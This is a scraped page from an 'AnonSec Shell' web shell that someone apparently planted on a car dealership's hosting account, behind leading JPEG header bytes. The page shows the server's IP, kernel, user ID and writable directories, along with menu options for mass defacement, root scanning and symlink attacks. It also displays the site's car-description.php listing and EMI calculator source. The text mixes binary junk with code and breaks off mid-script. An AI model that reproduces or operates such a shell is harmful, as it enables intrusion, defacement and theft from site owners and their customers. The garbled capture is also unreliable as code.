JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 46.28.45.50  /  Your IP : 216.73.217.142   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u215115003/domains/luxurymotorz.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u215115003/domains/luxurymotorz.com/public_html/car-description.php
<?php
session_start(); // Start the session
require_once('config/config.inc.php');

// Your existing PHP code here

// Check if the action is to add a product to the comparison list
if (isset($_GET['action']) && $_GET['action'] === 'add' && isset($_GET['product_id'])) {
   $countOfCarsInComparison = count($_SESSION['comparison_list']);
   // Check if the comparison list already has three cars
   if (count($_SESSION['comparison_list']) >= 3) {
      // Redirect the user back to the product page with an error message
      header('Location: ' . $_SERVER['HTTP_REFERER'] . '&error=limit_exceeded');
      exit(); // Stop further execution
   }

   // Retrieve product ID from URL
   $product_id = $_GET['product_id'];

   // Add the product ID to the comparison list stored in the session
   $_SESSION['comparison_list'][] = $product_id;

   // Redirect the user to the compare page or any other page as needed
   header('Location: compare.php');
   exit(); // Stop further execution
}

if (isset($_GET['url1'])) {
   $url = remove_utf8_bom($_GET['url1']);
   $url_array = explode("/", $url);

   if (count($url_array) < 2) {
      header('Location:' . MAIN_DIR . "404/");
      exit();
   } else {
      $product_id = $url_array[1];
      $productslug = $url_array[2];

      $fuelType = isset($_GET['fuel']) ? ucfirst($_GET['fuel']) : null;

      // Base SQL query
      $sql = "SELECT v.*, b.car_brand_name AS car_brand_name 
               FROM car_brands as b INNER JOIN car_varients as v ON v.car_brand_id = b.car_brand_id WHERE car_varient_status = :status AND v.slug = :productslug AND v.car_varient_id = :product_id";

      // Modify SQL query if fuel type is present
      if ($fuelType) {
         $sql .= " AND v.fuel_type = :fuelType";
      }

      $product_st = $DB->prepare($sql);
      $product_st->bindValue(":status", 'Active');
      $product_st->bindValue(":productslug", $productslug);
      $product_st->bindValue(":product_id", $product_id);
      if ($fuelType) {
         $product_st->bindValue(":fuelType", $fuelType);
      }
      $product_st->execute();
      $varient_rs = $product_st->fetch();

      if (empty($varient_rs)) {
         header('Location:' . MAIN_DIR . "404/");
      } else {
         //car varient
         $varient_gallery_sql = "SELECT * FROM car_gallery WHERE car_varient_id = :car_varient_id AND car_gallery_status = :status";
         $varient_gallery_stmt = $DB->prepare($varient_gallery_sql);
         $varient_gallery_stmt->bindValue(":car_varient_id", $varient_rs['car_varient_id']);
         $varient_gallery_stmt->bindValue(":status", 'Active');
         $varient_gallery_stmt->execute();
         $varient_gallery_rs = $varient_gallery_stmt->fetchAll();

         if (count($varient_gallery_rs) > 0) {
            $imgCar = $varient_gallery_rs[0]['car_gallery_image'];
         } else {
            $imgCar = "";
         }

         // Output the car details and gallery image
         // echo or return the necessary HTML/JSON as per your requirement
      }
   }
}

include "include/header.inc.php" ?>
<!-- <link rel="stylesheet" href=" MAIN_DIR ?>assets/css/product.css"> -->

<style>
   .emi-modal .modal-dialog {
      max-width: 800px;
   }

   .emi-modal .modal-dialog .modal-content {
      padding: 10px 40px;
   }

   .emicar-details-wrap {
      width: 100%;
   }

   .frm-title {
      padding-left: 20px;
   }

   .emicar-details-grp {
      padding: 25px;
      margin: 10px 0 15px;
      border-radius: 20px;
      justify-content: center;
   }

   .emicar-details-grp .img-grp {
      max-width: 150px;
      width: 100%;
      margin-right: 20px;
      background-repeat: no-repeat;
      background-size: cover;
      background-position: center center;
   }

   .emicar-details-grp {
      padding: 20px;
      border-radius: 15px;
      margin: 10px 0;
   }

   .emicar-details-grp {
      display: flex;
      align-items: center;
      padding: 10px 65px;
      background-color: #f8f8f8;
      border-radius: 30px;
      margin: 10px 0 25px;
   }

   .carnameprice-grp>span {
      display: block;
   }

   .emicar-details-grp .carnameprice-grp,
   .emicalculation-sec .form-grp .emicar-details-grp .carnameprice-grp {
      font-family: Barlow, arial;
      color: #000;
      font-weight: 600;
      text-transform: capitalize;
      letter-spacing: 0;
   }

   .emicar-details-grp .car-nameprice-grp,
   .emicalculation-sec .form-grp .emicar-details-grp .car-nameprice-grp {
      font-family: Barlow, arial;
      color: #000;
      font-weight: 600;
      text-transform: capitalize;
      letter-spacing: 0;
   }

   .emi-cal-form .car-nameprice-grp>span {
      display: block;
   }

   .inputgrp.rangeinput-grp,
   .emicalculation-sec .form-grp .inputgrp.rangeinput-grp {
      position: relative;
      overflow: visible;
      margin-bottom: 10px;
      padding-bottom: 25px;
   }

   .form-grp form .inputgrp {
      padding: 10px 0;
   }

   .inputgrp {
      width: 100%;
      margin: 0;
      padding: 0 0 5px;
      position: relative;
      overflow: hidden;
   }

   .inputgrp input[type="range"],
   .emicalculation-sec .form-grp .inputgrp input[type="range"] {
      width: 100%;
      max-width: 100%;
      height: 5px;
      margin: 15px 0;
      padding: 0;
      -webkit-appearance: none;
      appearance: none;
      background-color: rgba(0, 0, 0, 0.08);
      border: 0 none;
      border-radius: 20px;
   }

   .inputgrp .csinput,
   .inputgrp .select,
   .inputgrp input,
   .inputgrp select,
   .inputgrp textarea {
      display: block;
      color: #000;
      font-family: "Barlow Condensed", arial;
      font-size: 18px;
      font-weight: 500;
      line-height: 1.4;
      letter-spacing: 2px;
      text-transform: uppercase;
      border: 1px solid #ccc;
      border-radius: 12px;
      padding: 15.5px 25px;
      margin: 5px 0 0;
      width: 100%;
      max-width: 100%;
   }

   .inputgrp.rangeinput-grp .range-value,
   .emicalculation-sec .form-grp .inputgrp.rangeinput-grp .range-value {
      position: absolute;
      top: auto;
      bottom: 0;
      left: 50%;
      transform: translateX(-50%);
      color: #000;
      font-family: Barlow, arial;
      font-size: 17px;
      font-weight: 600;
      line-height: 1.4;
   }


   .emivalues-grp,
   .emicalculation-sec .form-grp .emivalues-grp {
      width: 100%;
      max-width: 100%;
      font-family: Barlow, arial;
      font-size: 14px;
      font-weight: 500;
      padding-top: 20px;
   }

   .emivalues-grp table,
   .emicalculation-sec .form-grp .emivalues-grp table {
      width: 100%;
      max-width: 100%;
      border-collapse: collapse;
   }

   .emivalues-grp table tr,
   .emicalculation-sec .form-grp .emivalues-grp table tr {
      padding: 0;
      border-top: 1px solid rgba(0, 0, 0, 0.05);
   }

   .emivalues-grp table tr td.lbl {
      text-align: right;
   }

   .emivalues-grp table tr td {
      padding: 5px 15px;
   }

   .emivalues-grp table tr td.val,
   .emicalculation-sec .form-grp .emivalues-grp table tr td.val {
      font-size: 17px;
   }

   .emivalues-grp .h6,
   .emicalculation-sec .form-grp .emivalues-grp h6 {
      font-family: Barlow, arial;
      font-size: 20px;
      font-weight: 500;
      text-transform: capitalize;
      margin: 10px 0;
   }

   #emicalc .bbtmodal-cntnr,
   .emicalc .bbtmodal-cntnr {
      padding: 35px 50px 55px;
      width: 60%;
      max-width: 820px;
   }

   .emivalues-grp .vallegend {
      font-size: 12.5px;
   }

   .emivalues-grp .h6 {
      font-family: Barlow, arial;
      font-size: 26px;
      font-weight: 500;
      text-transform: capitalize;
      margin: 10px 0;
   }

   .emivalues-grp .vallegend,
   .emicalculation-sec .form-grp .emivalues-grp .vallegend {
      font-size: 14px;
      font-weight: 500;
      display: block;
   }

   .inputgrp>label,
   .form-grp .inputgrp>label {
      font-size: 13px;
   }

   .inputgrp>label {
      display: block;
      color: #000;
      font-family: "Barlow Condensed", arial;
      font-weight: 500;
      line-height: 1;
      margin: 0 0 4px;
   }

   .swiper-slide .swiper-slide-img {
      box-shadow: 0px 0px 10px 3px rgba(0, 0, 0, 1);
      transition: box-shadow 0.3s ease;
   }
</style>

<style>
   .slick-dots li button:before {
      font-size: 6px;
      color: #000;
      /* Dot color */
   }

   .slick-dots li.slick-active button:before {
      color: #fff !important;
   }

   .popup {
      display: none;
      position: fixed;
      z-index: 999;
      padding-top: 40px;
      left: 0;
      top: 0;
      width: 100%;
      height: 100%;
      overflow: hidden;
      background-color: rgba(0, 0, 0, 0.8);
   }

   .popup-content {
      display: block;
      margin: auto;
      width: 100%;
      height: 550px;
   }

   .popup-img,
   .popup-video {
      margin: auto;
      display: block;
      max-height: 550px;
      border-radius: 20px;
   }

   .close {
      position: absolute;
      top: 15px;
      right: 35px;
      color: white;
      font-size: 40px;
      font-weight: bold;
      transition: 0.3s;
   }

   .close:hover,
   .close:focus {
      color: #bbb;
      text-decoration: none;
      cursor: pointer;
   }

   .prev,
   .next {
      cursor: pointer;
      position: absolute;
      top: 50%;
      width: auto;
      margin-top: -22px;
      padding: 16px;
      color: white;
      font-weight: bold;
      font-size: 23px;
      transition: 0.3s;
      user-select: none;
   }

   .prev {
      left: 0;
   }

   .next {
      right: 0;
   }

   .prev:hover,
   .next:hover {
      background-color: transparent;
      color: #fff !important;
   }

   @media (min-width: 320px) and (max-width: 767px) {

      .prev,
      .next {
         /* background-color: #000000bf; */
         color: #fff !important;
      }

      .prev:hover,
      .next:hover {
         /* background-color: grey; */
         color: #fff !important;
      }
   }
</style>

<div class="inner-page-banner">
   <div class="banner-wrapper">
      <div class="container-fluid">
         <div class="banner-main-content-wrap">
         </div>
      </div>
   </div>
</div>
<div class="home3-available-car">
   <div class="container-fluid">
      <div class="row">
         <div class="col-xl-4 col-lg-4 col-md-12 col-sm-12 wow fadeInRight mt-0" data-wow-delay="400ms">
            <div class="row">
               <div class="col-lg-12 wow fadeInRight cardetail-infohead-sec mt-0" data-wow-delay="400ms">
                  <div class="car-filter-area" data-product-id="<?= $varient_rs['car_varient_id'] ?>">
                     <h4>
                        <?= $varient_rs['car_brand_name'] ?>
                        <?= $varient_rs['car_model_name'] ?>
                        <?= $varient_rs['car_varient_name'] ?>
                     </h4>
                     <h6 class="price-emi">
                        <p class="price">
                           <?php if ($varient_rs['original_price'] > 0) { ?>
                              <del>
                                 <?= '₹' . formatInr($varient_rs['original_price']) ?>
                              </del>
                           <?php } ?>
                           <b>
                              <?= '₹' . formatInr($varient_rs['discounted_price']) ?>
                           </b>
                        </p>
                     </h6>
                     <div class="certified-modelkmsfuel hide-767">
                        <ul class="product-details">
                           <li><span class="key">MAKE </span><span class="val">
                                 <?= $varient_rs['car_brand_name'] ?>
                                 <?= $varient_rs['car_model_name'] ?>
                                 <?= $varient_rs['car_varient_name'] ?>
                              </span></li>
                           <li><span class="key">YEAR </span><span class="val">
                                 <?= substr($varient_rs['year'], 0, 4) ?>
                              </span></li>
                           <li><span class="key">STATE </span><span class="val">
                                 <?= $varient_rs['reg_state'] ?>
                              </span></li>
                           <li><span class="key">FUEL </span><span class="val">
                                 <?= $varient_rs['fuel_type'] ?>
                              </span></li>
                           <li><span class="key">TRANS </span><span class="val">
                                 <?= $varient_rs['gear_type'] ?>
                              </span></li>
                           <li><span class="key">OWNER'S </span><span class="val">
                                 <?= $varient_rs['no_of_owners'] ?>
                              </span></li>
                           <li><span class="key">COLOUR </span><span class="val">
                                 <?= $varient_rs['color'] ?>
                              </span></li>
                           <li><span class="key">KM DRIVEN </span><span class="val">
                                 <?= formatInr($varient_rs['milage']) ?>
                              </span></li>
                           <li><span class="key">INSURANCE </span><span class="val">
                                 <?= $varient_rs['insurance'] ?>
                              </span></li>
                        </ul>
                     </div>
                     <div class="highlights">
                        <h6 class="key">
                           HIGHLIGHTS</h6>
                        <p class="val">
                           <?= $varient_rs['highlights'] ?>
                        </p>
                     </div>
                     <div class="cardetail-infohead-btns hide-767 text-center">
                        <button type="button" class="emibtn" style="width: 50%;" data-bs-toggle="modal"
                           data-bs-target="#reserveBike"
                           onclick="reserveButtonClicked('<?= $varient_rs['car_brand_name'] ?>' + ' '  + '<?= $varient_rs['car_model_name'] ?>' + ' '  + '<?= $varient_rs['car_varient_name'] ?>')">Reserve
                           this car</button>
                     </div>
                     <div class="cardetail-infohead-btns hide-767">
                        <button type="button" class="emibtn" data-bs-toggle="modal" data-bs-target="#emicalc">EMI
                           Calculator</button>
                        <button type="button" class="emibtn compare-button"
                           data-product-id="<?= $varient_rs['car_varient_id'] ?>">Compare</button>
                     </div>
                  </div>
               </div>
            </div>
         </div>
         <div class="col-xl-8 col-lg-8 col-md-12 col-sm-12 wow fadeInLeft s-slider m-0 p-0" data-wow-delay="300ms">
            <div class="slick-wrapper">
               <?php
               $image_items = [];
               $video_items = [];

               foreach ($varient_gallery_rs as $index => $gallery) {
                  $file_path = MAIN_DIR . 'static/' . $gallery['car_gallery_image'];
                  $ext = pathinfo($file_path, PATHINFO_EXTENSION);

                  if (in_array($ext, array('jpg', 'jpeg', 'png', 'gif'))) {
                     $image_items[] = ['index' => $index, 'file_path' => $file_path];
                  } elseif (in_array($ext, array('mp4', 'avi', 'mkv', 'mov'))) {
                     $video_items[] = ['index' => $index, 'file_path' => $file_path];
                  }
               }

               function displayGalleryItems($items, &$video_index)
               {
                  foreach ($items as $item) {
                     if (isset($item['file_path'])) {
                        $file_path = $item['file_path'];
                        $ext = pathinfo($file_path, PATHINFO_EXTENSION);

                        if (in_array($ext, array('jpg', 'jpeg', 'png', 'gif'))) {
               ?>
                           <div class="img-slide" id="gallery<?= $item['index'] ?>">
                              <img src="<?= $file_path ?>" alt="" class="thumbnail" onclick="openPopup('<?= $file_path ?>')">
                           </div>
                        <?php
                        } elseif (in_array($ext, array('mp4', 'avi', 'mkv', 'mov'))) {
                           $video_index++;
                        ?>
                           <div class="img-slide video-slide" id="gallery<?= $item['index'] ?>">
                              <video controls class="thumbnail" id="video<?= $video_index ?>">
                                 <source src="<?= $file_path ?>" type="video/mp4">
                                 Your browser does not support the video tag.
                              </video>
                           </div>
               <?php
                        }
                     }
                  }
               }

               $video_index = 0;

               displayGalleryItems($image_items, $video_index);

               displayGalleryItems($video_items, $video_index);
               ?>

            </div>
         </div>
      </div>
   </div>
</div>

<?php
$car_brand_sql = "SELECT slug FROM `car_brands` WHERE car_brand_status='Active' AND car_brand_id = :car_brand_id";
$brand_stmt = $DB->prepare($car_brand_sql);
$brand_stmt->bindValue(":car_brand_id", $varient_rs['car_brand_id']);
$brand_stmt->execute();
$car_brand_rs = $brand_stmt->FetchAll();

$varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name 
               FROM car_brands as b INNER JOIN car_varients as v ON v.car_brand_id = b.car_brand_id WHERE b.slug = :slug AND v.car_varient_status='Active' AND v.car_varient_id != :car_varient_id";
$varient_filter_stmt = $DB->prepare($varient_filter_sql);
$varient_filter_stmt->bindValue(":slug", $car_brand_rs[0]['slug']);
$varient_filter_stmt->bindValue(":car_varient_id", $varient_rs['car_varient_id']);
$varient_filter_stmt->execute();
$varient_filter_rs = $varient_filter_stmt->fetchAll();
?>
<?php if (!empty($varient_filter_rs)) { ?>
   <section class="most-search-area pb-60" style="background-color: grey;">
      <div class="container">
         <div class="row">
            <div class="col-lg-12">
               <div class="section-title mb-30 pt-30">
                  <h2 style="color:white;text-align: center;text-shadow: 2px 4px black;">RELATED CARS</h2>
               </div>
               <div class="row g-4">
                  <?php foreach ($varient_filter_rs as $varient) { ?>
                     <div class="col-xl-4 col-lg-4 col-md-6 col-sm-12">
                        <div class="listing-item new-arrival">

                           <button class="fav1 compare-button" data-product-id="<?= $varient['car_varient_id'] ?>">

                              <i class="bi bi-heart-fill"></i>

                           </button>
                           <a href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                              <li class="product-card1">
                                 <span class="item-inner">

                                    <div class="slider-group">
                                       <?php if ($varient['booked'] === "YES") { ?>

                                          <div class="booked-img"><img src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                alt="">

                                          </div>

                                       <?php } ?>
                                       <div class="img-grpslider">
                                          <div class="img-grp">
                                             <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                alt="<?= $varient['car_varient_name'] ?>">
                                          </div>
                                       </div>

                                    </div>

                                    <span class="cntnt-grp p-0">

                                       <h6>

                                          <?= $varient['car_brand_name'] ?>

                                          <?= $varient['car_model_name'] ?>

                                          <?= $varient['car_varient_name'] ?>

                                       </h6>

                                       <span class="price-modelname">

                                          <div class="price-latest">

                                             <span class="total_price" sellamount="<?= $varient['discounted_price'] ?>">

                                                <?= '₹' . formatInr($varient['discounted_price']) ?>

                                             </span>
                                             <?php if ($varient_rs['original_price'] > 0) { ?>
                                                <del>

                                                   <?= '₹' . formatInr($varient['original_price']) ?>

                                                </del>
                                             <?php } ?>
                                          </div>

                                          <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                <?= emi_amount($varient['discounted_price']) ?>
                                             </span></span>

                                       </span>

                                       <ul class="list-items">

                                          <li class="model s10">

                                             <span class="li-innr button">

                                                <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                      style="width:20px;"></span>

                                                <span class="val">

                                                   <?= substr($varient['year'], 0, 4) ?>

                                                </span>

                                             </span>

                                          </li>

                                          <li class="kms s10">

                                             <span class="li-innr button">

                                                <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                      style="width:20px;"></span>

                                                <span class="val">

                                                   <?= formatInr($varient['milage']) ?>

                                                </span>

                                             </span>

                                          </li>

                                          <li class="fueltype s10">

                                             <span class="li-innr button">

                                                <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                      style="width:20px;"></span>

                                                <span class="val">

                                                   <?= $varient['fuel_type'] ?>

                                                </span>

                                             </span>

                                          </li>

                                          <li class="fueltype s10">

                                             <span class="li-innr button owner">

                                                <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                      style="width:20px;"></span>

                                                <span class="val">

                                                   <?= $varient['no_of_owners'] ?>

                                                </span>

                                             </span>

                                          </li>

                                          <li class="fueltype s10">

                                             <span class="li-innr button">

                                                <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                      style="width:20px;"></span>

                                                <span class="val">

                                                   <?= $varient['gear_type'] ?>

                                                </span>

                                             </span>

                                          </li>

                                          <li class="fueltype s10">

                                             <span class="li-innr button">

                                                <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                      style="width:20px;"></span>

                                                <span class="val">

                                                   <?= $varient['insurance'] ?>

                                                </span>

                                             </span>

                                          </li>

                                       </ul>

                                    </span>

                                 </span>
                              </li>
                           </a>

                        </div>
                     </div>
                  <?php } ?>
               </div>
            </div>
         </div>
      </div>
   </section>
<?php } ?>
<!-- END - Listing Posts Section -->
<?php include "include/footer.inc.php" ?>

<div id="popup" class="popup" onclick="closePopup(event)">
   <span class="close" onclick="closePopup()">&times;</span>
   <div class="popup-content">
      <img class="popup-img" id="popup-img" src="" alt="">
      <video class="popup-video" id="popup-video" controls>
         Your browser does not support the video tag.
      </video>
   </div>
   <a class="prev" onclick="changeMedia(-1)">&#10094;</a>
   <a class="next" onclick="changeMedia(1)">&#10095;</a>
</div>

<script>
   let mediaItems = [];
   let currentIndex = 0;
   let currentZoom = 1;
   const defaultZoom = 1;
   const popup = document.getElementById('popup');
   const popupImg = document.getElementById('popup-img');
   const popupVideo = document.getElementById('popup-video');
   const prevBtn = document.querySelector('.prev');
   const nextBtn = document.querySelector('.next');
   const body = document.body;

   document.addEventListener('DOMContentLoaded', () => {
      const thumbnails = document.querySelectorAll('.thumbnail');

      thumbnails.forEach((thumbnail, index) => {
         let mediaType = thumbnail.tagName.toLowerCase();
         let mediaSrc = mediaType === 'img' ? thumbnail.src : thumbnail.querySelector('source').src;

         mediaItems.push({
            type: mediaType,
            src: mediaSrc,
            index: index
         });

         thumbnail.addEventListener('click', () => {
            openPopup(index);
         });
      });

      popupImg.addEventListener('wheel', (event) => {
         event.preventDefault();
         const rect = popupImg.getBoundingClientRect();
         const offsetX = event.clientX - rect.left;
         const offsetY = event.clientY - rect.top;
         const zoomFactor = 0.1;

         if (event.deltaY < 0) {
            currentZoom += zoomFactor;
         } else {
            currentZoom -= zoomFactor;
            if (currentZoom < defaultZoom) {
               currentZoom = defaultZoom; // Reset to default zoom
            }
         }

         const originX = (offsetX / rect.width) * 100;
         const originY = (offsetY / rect.height) * 100;
         popupImg.style.transformOrigin = `${originX}% ${originY}%`;
         popupImg.style.transform = `scale(${currentZoom})`;
      });

      popup.addEventListener('click', (event) => {
         if (!popupImg.contains(event.target) && !popupVideo.contains(event.target) && !prevBtn.contains(event.target) && !nextBtn.contains(event.target)) {
            closePopup();
         }
      });

      prevBtn.addEventListener('click', (event) => {
         event.stopPropagation();
         changeMedia(-1);
      });

      nextBtn.addEventListener('click', (event) => {
         event.stopPropagation();
         changeMedia(1);
      });
   });

   function openPopup(index) {
      body.style.overflow = 'hidden';
      if (index < 0 || index >= mediaItems.length) {
         console.error('Invalid index:', index);
         return;
      }

      const mediaItem = mediaItems[index];
      if (!mediaItem) {
         console.error('Media item is undefined at index:', index);
         return;
      }

      const {
         type,
         src
      } = mediaItem;

      if (type === 'img') {
         popupImg.style.display = 'block';
         popupVideo.style.display = 'none';
         popupImg.src = src;
         currentZoom = defaultZoom; // Reset zoom on new image
         popupImg.style.transform = `scale(${currentZoom})`;
         popupImg.style.transformOrigin = `center center`;
      } else if (type === 'video') {
         popupImg.style.display = 'none';
         popupVideo.style.display = 'block';
         popupVideo.src = src;
      }

      popup.style.display = 'block';
   }

   function closePopup() {
      body.style.overflow = 'auto';
      popup.style.display = 'none';
      popupImg.src = ''; // Reset image src
      popupVideo.pause(); // Pause video on close
      popupVideo.src = ''; // Reset video src
   }

   function changeMedia(direction) {
      currentIndex += direction;
      if (currentIndex < 0) {
         currentIndex = mediaItems.length - 1;
      } else if (currentIndex >= mediaItems.length) {
         currentIndex = 0;
      }
      openPopup(currentIndex);
   }
</script>


<div class="modal emi-modal sell-with-us fade" id="emicalc" tabindex="-1" aria-labelledby="sellUsModal01Label"
   aria-hidden="true">
   <div class="modal-dialog modal-dialog-centered">
      <div class="modal-content">
         <div class="modal-header">
            <h4 class="modal-title" id="reserveBikeLabel">EMI Calculator</h4>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
         </div>
         <div class="modal-body">
            <form method="POST" class="emi-cal-form" data-gtm-form-interact-id="0">

               <div class="emicar-details-wrap">
                  <div class="emicar-details-grp">
                     <div class="img-grp">
                        <img src="<?= MAIN_DIR ?>static/<?= $imgCar ?>" alt="">
                     </div>
                     <h5 class="carnameprice-grp">
                        <span class="carname">
                           <?= $varient_rs['car_brand_name'] ?>
                           <?= $varient_rs['car_model_name'] ?>
                           <?= $varient_rs['car_varient_name'] ?>
                        </span>
                        <span class="h6" style="margin-top: 10px;">
                           <?= '₹' . formatInr($varient_rs['discounted_price']) ?>
                        </span>
                     </h5>
                  </div>
               </div>
               <div class="inputgrp rangeinput-grp">
                  <label>Down Payment (Minimum 30%)</label>
                  <input type="hidden" id="totalamount" value="<?= $varient_rs['discounted_price'] ?>">
                  <input id="downpayment" type="range" min="10000" max="<?= $varient_rs['discounted_price'] ?>"
                     value="<?= (($varient_rs['discounted_price'] / 100) * 30) ?>">
                  <div class="range-value" id="downpaymentrangeV">
                     <span>₹ <?= (($varient_rs['discounted_price'] / 100) * 30) ?> </span>
                  </div>
               </div>
               <div class="inputgrp rangeinput-grp">
                  <label>Annual Interest Rate (%)</label>
                  <input id="rate" type="range" min="7" max="20" step="0.2">
                  <div class="range-value" id="raterangeV"><span>10</span></div>
               </div>
               <div class="inputgrp rangeinput-grp termperiodinput-grp">
                  <label>Term/Period (Month)</label>
                  <input id="time" type="range" min="1" max="84" step="1" value="60"
                     data-gtm-form-interact-field-id="0">
                  <div class="range-value" id="timerangeV"><span>60</span></div>
               </div>
            </form>
            <div class="emivalues-grp">
               <table>
                  <tbody>
                     <tr>
                        <td class="lbl">Total Interest Payment </td>
                        <td class="val"><span id="totalinterest">₹4,84,278</span></td>
                     </tr>
                     <tr>
                        <td class="lbl">Total Amount to Pay </td>
                        <td class="val"><span id="totalamountpayable">₹20,04,278</span></td>
                     </tr>
                     <tr class="totalpay-row">
                        <td class="lbl">
                           <div class="h6">EMI <span class="vallegend">Monthly Payment</span></div>
                        </td>
                        <td>
                           <div class="h5 totalpay-val">
                              <span id="emi-amount-aftercal">₹29,047</span>
                              <span class="vallegend">Calculated on On Road Price </span>
                           </div>
                        </td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>

      </div>
   </div>
</div>

<script>
   $(document).ready(function() {
      var totalamount = $("#totalamount").val();
      let downpayment = $("#downpayment").val();
      var loanamount = totalamount - downpayment;
      let rate = 10;
      let time = 60;

      $("#rate").val(rate);
      $("#time").val(time);
      $('.emi-cal-form #downpayment').each(function() {
         var _this = $(this);
         $(_this).on('input', function(valinput) {
            $(_this).next('.range-value').find('span').text(parseFloat(this.value).toLocaleString('en-IN', {
               maximumFractionDigits: 0,
               style: 'currency',
               currency: 'INR'
            }));
            downpayment = this.value;

            loanamount = totalamount - downpayment;
            $("#downpayment").val(downpayment);
            // $("#loanamount").val(loanamount);
            emi_calculator(loanamount, rate, time);
         });
      });
      $('.emi-cal-form #time').each(function() {
         var _this = $(this);
         $(_this).on('input', function(valinput) {
            $(_this).next('.range-value').find('span').text(this.value);
            time = this.value;
            emi_calculator(loanamount, rate, time);
         })
      });

      $('.emi-cal-form #rate').each(function() {
         var _this = $(this);
         $(_this).on('input', function(valinput) {
            $(_this).next('.range-value').find('span').text(this.value);
            rate = this.value;
            emi_calculator(loanamount, rate, time);
         })
      });

      function emi_calculator(p, r, t) {
         var principal = p;
         var interest = r / 100 / 12;
         var payments = t;

         var x = Math.pow(1 + interest, payments);
         var monthly = (principal * x * interest) / (x - 1);
         var monthlyemi = monthly.toLocaleString('en-IN', {
            maximumFractionDigits: 0,
            style: 'currency',
            currency: 'INR'
         });
         document.getElementById("emi-amount-aftercal").innerHTML = monthlyemi
         var totalamountpay = (monthly * t);

         document.getElementById("totalamountpayable").innerHTML = totalamountpay.toLocaleString('en-IN', {
            maximumFractionDigits: 0,
            style: 'currency',
            currency: 'INR'
         });
         totalinterest = totalamountpay - p;
         document.getElementById("totalinterest").innerHTML = totalinterest.toLocaleString('en-IN', {
            maximumFractionDigits: 0,
            style: 'currency',
            currency: 'INR'
         });
      }


      emi_calculator(loanamount, rate, time);
      $(".emi-cal-form #downpayment").next('.range-value').find('span').text(parseFloat(downpayment).toLocaleString('en-IN', {
         maximumFractionDigits: 0,
         style: 'currency',
         currency: 'INR'
      }));
      $(".emi-cal-form #rate").next('.range-value').find('span').text(rate);
      $(".emi-cal-form #time").next('.range-value').find('span').text(time);

      const allRanges = document.querySelectorAll(".rangeinput-grp");
      allRanges.forEach(wrap => {
         const range = wrap.querySelector(".rangeinput-grp input[type='range']");
         const bubble = wrap.querySelector(".range-value");
         range.addEventListener("input", () => {
            setBubble(range, bubble);
         });
         setBubble(range, bubble);
      });

      function setBubble(range, bubble) {
         const val = range.value;
         const min = range.min ? range.min : 0;
         const max = range.max ? range.max : 100;
         const newVal = Number(((val - min) * 100) / (max - min));
         //bubble.innerHTML = val;
         bubble.style.left = `calc(${newVal}% + (${8 - newVal * 0.15}px))`;
      }
   });
</script>

<script>
   $(document).ready(function() {
      var $slider = $('.slick-wrapper').slick({
         centerMode: true,
         centerPadding: '10px',
         slidesToShow: 3,
         slidesToScroll: 1,
         arrows: false,
         dots: false,
         autoplay: true,
